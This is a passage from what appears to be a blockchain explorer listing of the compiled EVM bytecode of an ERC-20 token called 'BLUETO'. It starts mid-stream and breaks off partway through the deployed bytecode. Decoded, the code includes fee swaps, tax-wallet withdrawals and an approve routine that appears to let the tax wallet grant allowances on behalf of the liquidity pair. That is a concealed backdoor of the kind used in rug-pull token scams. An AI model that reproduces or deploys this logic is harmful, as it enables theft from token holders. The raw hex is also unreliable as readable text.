f803e3d5ffd5b50565b5f6106bc84848461133a565b610779846106c8611333565b6107748560405180606001604052806028815260200161334b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61072b611333565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e6a9092919063ffffffff16565b611170565b600190509392505050565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107cc611333565b73ffffffffffffffffffffffffffffffffffffffff16146107eb575f80fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016108479291906128a7565b6020604051808303815f875af1158015610863573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088791906128f8565b505050565b610894611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610920576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109179061296d565b60405180910390fd5b6009600a61092e91906127c1565b633b9aca0061093d919061280b565b6012819055506009600a61095191906127c1565b633b9aca00610960919061280b565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61099591906127c1565b633b9aca006109a4919061280b565b6040516109b1919061255f565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a09611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c9061296d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f424c5545544f0000000000000000000000000000000000000000000000000000815250905090565b5f610bcc610bc5611333565b848461133a565b6001905092915050565b6004602052805f5260405f205f915054906101000a900460ff1681565b60145481565b610c01611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c849061296d565b60405180910390fd5b601760149054906101000a900460ff1615610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd4906129d5565b60405180910390fd5b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d25306109bb565b5f80610d2f610b55565b426040518863ffffffff1660e01b8152600401610d5196959493929190612a2c565b60606040518083038185885af1158015610d6d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d929190612a9f565b50505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e32929190612aef565b6020604051808303815f875af1158015610e4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7291906128f8565b506001601a60016101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f3c611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf9061296d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612b86565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561115857503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561116557829050611169565b3390505b9392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d590612c14565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361124c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124390612ca2565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611326919061255f565b60405180910390a3505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139f90612d30565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90612dbe565b60405180910390fd5b5f8111611458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144f90612e4c565b60405180910390fd5b5f611461610b55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114cf575061149f610b55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bba576115106064611502600c54600f54116114ef576008546114f3565b600a545b85611ecc90919063ffffffff16565b611f4390919063ffffffff16565b905060075443036115975760195460055f4381526020019081526020015f205410611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612eb4565b60405180910390fd5b60055f4381526020019081526020015f205f81548092919061159190612ed2565b91905055505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561163a575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561168d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611747576012548211156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90612f63565b60405180910390fd5b601354826116e4856109bb565b6116ee9190612f81565b111561172f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172690612ffe565b60405180910390fd5b600f5f81548092919061174190612ed2565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156117e5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561184357601354826117f7856109bb565b6118019190612f81565b1115611842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183990612ffe565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156118c557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119095761190660646118f8600d54600f54116118e5576009546118e9565b600b545b85611ecc90919063ffffffff16565b611f4390919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156119a7575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119df57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119e8575f90505b5f6119f2306109bb565b9050601a5f9054906101000a900460ff16158015611a56575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611a6e5750601a60019054906101000a900460ff165b15611af757601154431115611a85575f6010819055505b60185460105410611a94575f80fd5b60145481118015611aa85750600e54600f54115b15611acb57611aca611ac584611ac084601554611f8c565b611f8c565b611fa4565b5b611ad44761220d565b60105f815480929190611ae690612ed2565b919050555043601181905550611bb8565b601a5f9054906101000a900460ff16158015611b59575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611b715750601a60019054906101000a900460ff165b8015611b805750600e54600f54115b15611bb757601454811115611bad57611bac611ba784611ba284601554611f8c565b611f8c565b611fa4565b5b611bb64761220d565b5b5b505b5f811115611cb957611c128160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461227590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb0919061255f565b60405180910390a35b611d098260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122d290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dac611d6082846122d290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461227590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e4f84866122d290919063ffffffff16565b604051611e5c919061255f565b60405180910390a350505050565b5f838311158290611eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea89190612406565b60405180910390fd5b505f8385611ebf919061301c565b9050809150509392505050565b5f808303611edc575f9050611f3d565b5f8284611ee9919061280b565b9050828482611ef8919061307c565b14611f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2f9061311c565b60405180910390fd5b809150505b92915050565b5f611f8483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231b565b905092915050565b5f818311611f9a5782611f9c565b815b905092915050565b6001601a5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611fda57611fd961313a565b5b6040519080825280602002602001820160405280156120085781602001602082028036833780820191505090505b50905030815f8151811061201f5761201e613167565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120e791906131a8565b816001815181106120fb576120fa613167565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121613060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611170565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121c395949392919061328a565b5f604051808303815f87803b1580156121da575f80fd5b505af11580156121ec573d5f803e3d5ffd5b50505050505f601a5f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612271573d5f803e3d5ffd5b5050565b5f8082846122839190612f81565b9050838110156122c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bf9061332c565b60405180910390fd5b8091505092915050565b5f61231383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e6a565b905092915050565b5f8083118290612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123589190612406565b60405180910390fd5b505f838561236f919061307c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123b3578082015181840152602081019050612398565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123d88261237c565b6123e28185612386565b93506123f2818560208601612396565b6123fb816123be565b840191505092915050565b5f6020820190508181035f83015261241e81846123ce565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124538261242a565b9050919050565b61246381612449565b811461246d575f80fd5b50565b5f8135905061247e8161245a565b92915050565b5f819050919050565b61249681612484565b81146124a0575f80fd5b50565b5f813590506124b18161248d565b92915050565b5f80604083850312156124cd576124cc612426565b5b5f6124da85828601612470565b92505060206124eb858286016124a3565b9150509250929050565b5f8115159050919050565b612509816124f5565b82525050565b5f6020820190506125225f830184612500565b92915050565b61253181612449565b82525050565b5f60208201905061254a5f830184612528565b92915050565b61255981612484565b82525050565b5f6020820190506125725f830184612550565b92915050565b5f805f6060848603121561258f5761258e612426565b5b5f61259c86828701612470565b93505060206125ad86828701612470565b92505060406125be868287016124a3565b9150509250925092565b5f60ff82169050919050565b6125dd816125c8565b82525050565b5f6020820190506125f65f8301846125d4565b92915050565b5f6020828403121561261157612610612426565b5b5f61261e84828501612470565b91505092915050565b5f806040838503121561263d5761263c612426565b5b5f61264a85828601612470565b925050602061265b85828601612470565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126e7578086048111156126c3576126c2612665565b5b60018516156126d25780820291505b80810290506126e085612692565b94506126a7565b94509492505050565b5f826126ff57600190506127ba565b8161270c575f90506127ba565b8160018114612722576002811461272c5761275b565b60019150506127ba565b60ff84111561273e5761273d612665565b5b8360020a91508482111561275557612754612665565b5b506127ba565b5060208310610133831016604e8410600b84101617156127905782820a90508381111561278b5761278a612665565b5b6127ba565b61279d848484600161269e565b925090508184048111156127b4576127b3612665565b5b81810290505b9392505050565b5f6127cb82612484565b91506127d6836125c8565b92506128037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126f0565b905092915050565b5f61281582612484565b915061282083612484565b925082820261282e81612484565b9150828204841483151761284557612844612665565b5b5092915050565b5f819050919050565b5f61286f61286a6128658461242a565b61284c565b61242a565b9050919050565b5f61288082612855565b9050919050565b5f61289182612876565b9050919050565b6128a181612887565b82525050565b5f6040820190506128ba5f830185612898565b6128c76020830184612550565b9392505050565b6128d7816124f5565b81146128e1575f80fd5b50565b5f815190506128f2816128ce565b92915050565b5f6020828403121561290d5761290c612426565b5b5f61291a848285016128e4565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612957602083612386565b915061296282612923565b602082019050919050565b5f6020820190508181035f8301526129848161294b565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129bf601783612386565b91506129ca8261298b565b602082019050919050565b5f6020820190508181035f8301526129ec816129b3565b9050919050565b5f819050919050565b5f612a16612a11612a0c846129f3565b61284c565b612484565b9050919050565b612a26816129fc565b82525050565b5f60c082019050612a3f5f830189612528565b612a4c6020830188612550565b612a596040830187612a1d565b612a666060830186612a1d565b612a736080830185612528565b612a8060a0830184612550565b979650505050505050565b5f81519050612a998161248d565b92915050565b5f805f60608486031215612ab657612ab5612426565b5b5f612ac386828701612a8b565b9350506020612ad486828701612a8b565b9250506040612ae586828701612a8b565b9150509250925092565b5f604082019050612b025f830185612528565b612b0f6020830184612550565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612b70602683612386565b9150612b7b82612b16565b604082019050919050565b5f6020820190508181035f830152612b9d81612b64565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bfe602483612386565b9150612c0982612ba4565b604082019050919050565b5f6020820190508181035f830152612c2b81612bf2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c8c602283612386565b9150612c9782612c32565b604082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d1a602583612386565b9150612d2582612cc0565b604082019050919050565b5f6020820190508181035f830152612d4781612d0e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612da8602383612386565b9150612db382612d4e565b604082019050919050565b5f6020820190508181035f830152612dd581612d9c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e36602983612386565b9150612e4182612ddc565b604082019050919050565b5f6020820190508181035f830152612e6381612e2a565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f612e9e602083612386565b9150612ea982612e6a565b602082019050919050565b5f6020820190508181035f830152612ecb81612e92565b9050919050565b5f612edc82612484565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f0e57612f0d612665565b5b600182019050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f4d601983612386565b9150612f5882612f19565b602082019050919050565b5f6020820190508181035f830152612f7a81612f41565b9050919050565b5f612f8b82612484565b9150612f9683612484565b9250828201905080821115612fae57612fad612665565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612fe8601a83612386565b9150612ff382612fb4565b602082019050919050565b5f6020820190508181035f83015261301581612fdc565b9050919050565b5f61302682612484565b915061303183612484565b925082820390508181111561304957613048612665565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61308682612484565b915061309183612484565b9250826130a1576130a061304f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613106602183612386565b9150613111826130ac565b604082019050919050565b5f6020820190508181035f830152613133816130fa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131a28161245a565b92915050565b5f602082840312156131bd576131bc612426565b5b5f6131ca84828501613194565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61320581612449565b82525050565b5f61321683836131fc565b60208301905092915050565b5f602082019050919050565b5f613238826131d3565b61324281856131dd565b935061324d836131ed565b805f5b8381101561327d578151613264888261320b565b975061326f83613222565b925050600181019050613250565b5085935050505092915050565b5f60a08201905061329d5f830188612550565b6132aa6020830187612a1d565b81810360408301526132bc818661322e565b90506132cb6060830185612528565b6132d86080830184612550565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613316601b83612386565b9150613321826132e2565b602082019050919050565b5f6020820190508181035f8301526133438161330a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031ce6b5db9801eefd4a54d69bd3094fcc4411b109dc76d3a81a9058e3e38f03b64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610138575f3560e01c806370a08231116100aa578063a9059cbb1161006e578063a9059cbb146103db578063b952f38014610417578063bf474bed14610453578063c9567bf91461047d578063dd62ed3e14610493578063f2fde38b146104cf5761013f565b806370a082311461030b578063715018a6146103475780638c0c21541461035d5780638da5cb5b1461038757806395d89b41146103b15761013f565b8063186a20a0116100fc578063186a20a01461022757806320800a001461025157806323b872dd14610267578063313ce567146102a357806357376198146102cd57806362256589146102f55761013f565b806306fdde0314610143578063095ea7b31461016d5780630d139682146101a95780630faee56f146101d357806318160ddd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104f7565b6040516101649190612406565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906124b7565b610534565b6040516101a0919061250f565b60405180910390f35b3480156101b4575f80fd5b506101bd610596565b6040516101ca9190612537565b60405180910390f35b3480156101de575f80fd5b506101e76105bb565b6040516101f4919061255f565b60405180910390f35b348015610208575f80fd5b506102116105c1565b60405161021e919061255f565b60405180910390f35b348015610232575f80fd5b5061023b6105e4565b604051610248919061255f565b60405180910390f35b34801561025c575f80fd5b506102656105ea565b005b348015610272575f80fd5b5061028d60048036038101906102889190612578565b6106b0565b60405161029a919061250f565b60405180910390f35b3480156102ae575f80fd5b506102b7610784565b6040516102c491906125e3565b60405180910390f35b3480156102d8575f80fd5b506102f360048036038101906102ee91906124b7565b61078c565b005b348015610300575f80fd5b5061030961088c565b005b348015610316575f80fd5b50610331600480360381019061032c91906125fc565b6109bb565b60405161033e919061255f565b60405180910390f35b348015610352575f80fd5b5061035b610a01565b005b348015610368575f80fd5b50610371610b4f565b60405161037e919061255f565b60405180910390f35b348015610392575f80fd5b5061039b610b55565b6040516103a89190612537565b60405180910390f35b3480156103bc575f80fd5b506103c5610b7c565b6040516103d29190612406565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc91906124b7565b610bb9565b60405161040e919061250f565b60405180910390f35b348015610422575f80fd5b5061043d600480360381019061043891906125fc565b610bd6565b60405161044a919061250f565b60405180910390f35b34801561045e575f80fd5b50610467610bf3565b604051610474919061255f565b60405180910390f35b348015610488575f80fd5b50610491610bf9565b005b34801561049e575f80fd5b506104b960048036038101906104b49190612627565b610eb2565b6040516104c6919061255f565b60405180910390f35b3480156104da575f80fd5b506104f560048036038101906104f091906125fc565b610f34565b005b60606040518060400160405280600681526020017f424c5545544f0000000000000000000000000000000000000000000000000000815250905090565b5f61058c61058560065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866110f1565b8484611170565b6001905092915050565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b5f6009600a6105d091906127c1565b633b9aca006105df919061280b565b905090565b60135481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661062a611333565b73ffffffffffffffffffffffffffffffffffffffff1614610649575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156106ad573d5f803e3d5ffd5b50565b5f6106bc84848461133a565b610779846106c8611333565b6107748560405180606001604052806028815260200161334b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61072b611333565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e6a9092919063ffffffff16565b611170565b600190509392505050565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107cc611333565b73ffffffffffffffffffffffffffffffffffffffff16146107eb575f80fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016108479291906128a7565b6020604051808303815f875af1158015610863573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088791906128f8565b505050565b610894611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610920576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109179061296d565b60405180910390fd5b6009600a61092e91906127c1565b633b9aca0061093d919061280b565b6012819055506009600a61095191906127c1565b633b9aca00610960919061280b565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61099591906127c1565b633b9aca006109a4919061280b565b6040516109b1919061255f565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a09611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c9061296d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f424c5545544f0000000000000000000000000000000000000000000000000000815250905090565b5f610bcc610bc5611333565b848461133a565b6001905092915050565b6004602052805f5260405f205f915054906101000a900460ff1681565b60145481565b610c01611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c849061296d565b60405180910390fd5b601760149054906101000a900460ff1615610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd4906129d5565b60405180910390fd5b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d25306109bb565b5f80610d2f610b55565b426040518863ffffffff1660e01b8152600401610d5196959493929190612a2c565b60606040518083038185885af1158015610d6d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d929190612a9f565b50505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e32929190612aef565b6020604051808303815f875af1158015610e4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7291906128f8565b506001601a60016101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f3c611333565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf9061296d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612b86565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561115857503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561116557829050611169565b3390505b9392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d590612c14565b60405180910390fd5b5f73ffff